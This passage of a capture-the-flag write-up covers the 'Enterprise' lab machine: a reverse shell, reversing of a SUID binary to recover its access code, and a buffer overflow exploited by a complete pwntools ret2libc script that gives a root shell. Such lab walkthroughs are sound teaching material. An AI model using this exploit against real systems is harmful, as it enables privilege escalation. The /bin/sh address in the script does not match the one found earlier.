- v: Verbose mode
- p: Finally, p specifies the port number we’ll be listening on
We get the connection!
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 37558
bash: cannot set terminal process group (1531): Inappropriate ioctl for device
bash: no job control in this shell
www-data@enterprise:/var/www/html/files$
Before continuing with the escalation, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
root
Looking for files with SUID permissions, we see one called lcars (like the plugin), owned by root and with SUID permissions, so if we run it we’re running it as root
www-data@enterprise:/$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
.....
-rwsr-xr-x 1 root root 38984 May 18 2017 /bin/mount
-rwsr-xr-x 1 root root 12152 Sep 8 2017 /bin/lcars
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
We’ll copy the lcars binary to our machine to analyze it in detail. To do so, we’ll start a Python server on port 8000 in the /bin folder on the target machine with python3 -m http.server 8000, and download it to our machine with wget 10.10.10.61/lcars
Buffer overflow
To analyze the binary we’ll use Ghidra.
Once in Ghidra, thanks to auto analyze, we can see the binary’s code. First we’ll look at the contents of the main function.
undefined4 main(void)
{
char local_19 [9];
undefined *local_10;
local_10 = &stack0x00000004;
setresuid(0,0,0);
startScreen();
puts("Enter Bridge Access Code: ");
fflush(_stdout);
fgets(local_19,9,_stdin);
bridgeAuth(local_19);
return 0;
}
In the main function we see a character variable called local_19 declared with a maximum buffer size of 9. Then the startScreen() function is called, which takes care of displaying the program’s banner.
void startScreen(void)
{
puts("");
puts(" _______ _______ ______ _______");
puts(" | | |_____| |_____/ |______");
puts(" |_____ |_____ | | | \\_ ______|");
puts("");
puts("Welcome to the Library Computer Access and Retrieval System\n");
return;
}
Going back to main, on the next line after startScreen() it shows the following text.
puts(“Enter Bridge Access Code: “);
The value we enter is passed to the bridgeAuth() function
bridgeAuth(local_19);
The bridgeAuth function has the following code
void bridgeAuth(char *param_1)
{
char local_32;
undefined uStack_31;
undefined uStack_30;
undefined uStack_2f;
undefined uStack_2e;
undefined uStack_2d;
undefined uStack_2c;
undefined uStack_2b;
undefined uStack_2a;
int local_14;
undefined4 local_10;
local_32 = 'p';
uStack_31 = 0x69;
uStack_30 = 99;
uStack_2f = 0x61;
uStack_2e = 0x72;
uStack_2d = 100;
uStack_2c = 0x61;
uStack_2b = 0x31;
local_10 = 9;
uStack_2a = 0;
local_14 = strcmp(param_1,&local_32);
if (local_14 == 0) {
main_menu();
}
else {
puts("\nInvalid Code\nTerminating Console\n");
}
fflush(_stdout);
/* WARNING: Subroutine does not return */
exit(0);
}
The uStack variables are assigned values starting with 0x, which indicates the number after 0x is in hex. Knowing this, we can convert the values being assigned to plain text.
local_32 = 'p';
uStack_31 = 'i';
uStack_30 = 'c';
uStack_2f = 'a';
uStack_2e = 'r';
uStack_2d = 'd';
uStack_2c = 'a';
uStack_2b = '1';
Next, it checks whether our input equals picarda1 with the following code.
local_14 = strcmp(param_1, &local_32);
Si la comprobación anterior da 0 significará que las cadenas son iguales, en caso contrario las cadenas no serían iguales.
if (local_14 == 0) {
main_menu();
}
else {
puts("\nInvalid Code\nTerminating Console\n");
}
When we enter the correct access code, it takes us to the main_menu() function
void main_menu(void)
{
undefined4 local_d8 [52];
local_d8[0] = 0;
startScreen();
puts("\n");
puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
puts("1. Navigation");
puts("2. Ships Log");
puts("3. Science");
puts("4. Security");
puts("5. StellaCartography");
puts("6. Engineering");
puts("7. Exit");
puts("Waiting for input: ");
fflush(_stdout);
__isoc99_scanf(&DAT_00010f92,local_d8);
/* WARNING: Could not find normalized switch variable to match jumptable */
/* WARNING: This code block may not be properly labeled as switch case */
unable();
return;
}
The main_menu() function is the one that shows us the options menu after entering the correct code (picarda1)
We can’t see which functions each option leads to, but looking into other functions Ghidra reports, we see there is a function called disableForcefields
void disableForcefields(void)
{
undefined local_d4 [204];
startScreen();
puts("Disable Security Force Fields");
puts("Enter Security Override:");
fflush(_stdout);
__isoc99_scanf(&DAT_00010ec4,local_d4);
printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
return;
}
The messages Disable Security Force Fields and Enter Security Override: are the ones shown in option 4, so we can guess this is the code for option 4
LCARS Bridge Secondary Controls – Main Menu:
- Navigation
- Ships Log
- Science
- Security
- StellaCartography
- Engineering
- Exit Waiting for input:
4
Disable Security Force Fields Enter Security Override:
Let’s analyze this function. First of all, a variable is created to store our input, with a maximum buffer size of 204.
undefined local_d4 [204]
Then it returns the message Rerouting Tertiary EPS Junctions along with our input
printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
If we try running the binary and entering lots of characters:
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./lcars
We get a segmentation fault, so we can try to carry out a buffer overflow
We’ll use gdb-peda to see it better: gdb ./lcars -q. Once in, we enter r to run it and fill the option 4 input again to see whether we overwrite the registers.
[----------------------------------registers-----------------------------------]
EAX: 0x2de
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0x38cf2a00
EDX: 0x1
ESI: 0x56555d30 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
We see EIP is indeed 0x41414141. As we saw earlier, what comes after 0x is in hex, and 41 in hex is an A, so we’ve managed to overwrite it.
Now the goal is to find how many characters we need to send to overwrite EIP and thereby control its value. gdb-peda has a utility for finding the number of characters needed. First we create a string with pattern_create, which, although it looks random, has a purpose: it has no repetitions, which will later let us find the number of characters needed to reach EIP
> gdb ./lcars -q
Reading symbols from ./lcars...
(No debugging symbols found in ./lcars)
gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Enter Security Override:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
[----------------------------------registers-----------------------------------]
EAX: 0x216
EBX: 0x73254125 ('%A%s')
ECX: 0xffffcd7c --> 0xaab80000
EDX: 0x1
ESI: 0x56555d30 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41422541 ('A%BA')
ESP: 0xffffcf80 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
EIP: 0x25412425 ('%$A%')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Now it reports that EIP is ($%$A%). We could count manually or use the following command, which counts automatically
gdb-peda$ pattern offset $eip
625026085 found at offset: 212
It reports that we need 212 characters to start overwriting EIP. We can check that 212 characters are indeed needed like this:
First we generate a string of 212 ‘A’s and add 4 ‘B’s. If gdb-peda got it right, EIP should be ‘BBBB’
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xfa
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0xa714c800
EDX: 0x1
ESI: 0x56555d30 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
It worked: EIP is ‘BBBB’. This means we can now manipulate EIP.
The next step is to check the protections
Protections
ASLR: Address Space Layout Randomization. This protection isn’t part of the program itself; it’s a system protection, and it’s rare to find it disabled on current systems. To see whether it’s enabled, we cat /proc/sys/kernel/randomize_va_space. If the content is 0, it’s disabled; if it isn’t 0, it’s enabled
ww-data@enterprise:/var/www/html/files$ cat /proc/sys/kernel/randomize_va_space
0
Another way to check whether ASLR is enabled would be to loop over the libc address and see whether it changes
www-data@enterprise:/bin$ for i in `seq 0 20`; do ldd lcars | grep libc; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
As we can see, it doesn’t change
Let’s check more protections with checksec.
checksec lcars
[*] '/home/d3b0o/Desktop/enterprise/lcars'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
NX is disabled, so we could create shellcode and put it on the stack to call it from EIP, but a ret2libc is simpler.
Diagram taken from (https://bufferoverflows.net/ret2libc-exploitation-example/)
To carry out the ret2libc we need the addresses of system, /bin/sh and, optionally, exit. We can find these addresses in different ways.
Since the machine has gdb, we can look up the addresses with gdb.
www-data@enterprise:/bin$ gdb ./lcars -q
(gdb) b *main
Breakpoint 1 at 0xc91
(gdb) r
Starting program: /bin/lcars
Breakpoint 1, 0x56555c91 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>
(gdb) find &system,+9999999,"/bin/sh"
0xf7f70a0f
If we didn’t have gdb, we could use the following commands, but they don’t work on this machine because it doesn’t have the strings command.
#/bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
#system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
#exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
Exploit –> p32812
Now we can write the exploit. First of all, we create variables with the addresses we found and a variable with the number of characters we need to reach EIP. Then we put it all together, in the order mentioned above, and send it to the port that nmap reported as open and running this binary. Finally, we spawn an interactive shell.
from pwn import *
offset = 212
junk = b"A" * offset
system = p32(0xf7e4c060)
exit = p32(0xf7e3faf0)
sh = p32(0xf7f6ddd5)
payload = junk + system + exit + sh
host, port = "10.10.10.61", 32812
r = remote(host, port)
r.recvuntil(b"Enter Bridge Access Code:")
r.sendline(b"picarda1")
r.recvuntil(b"Waiting for input:")
r.sendline(b"4")
r.recvuntil(b"Enter Security Override")
r.sendline(payload)
r.interactive()
When we run it, we’re root!
> python3 main.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode
:
$ whoami
root
$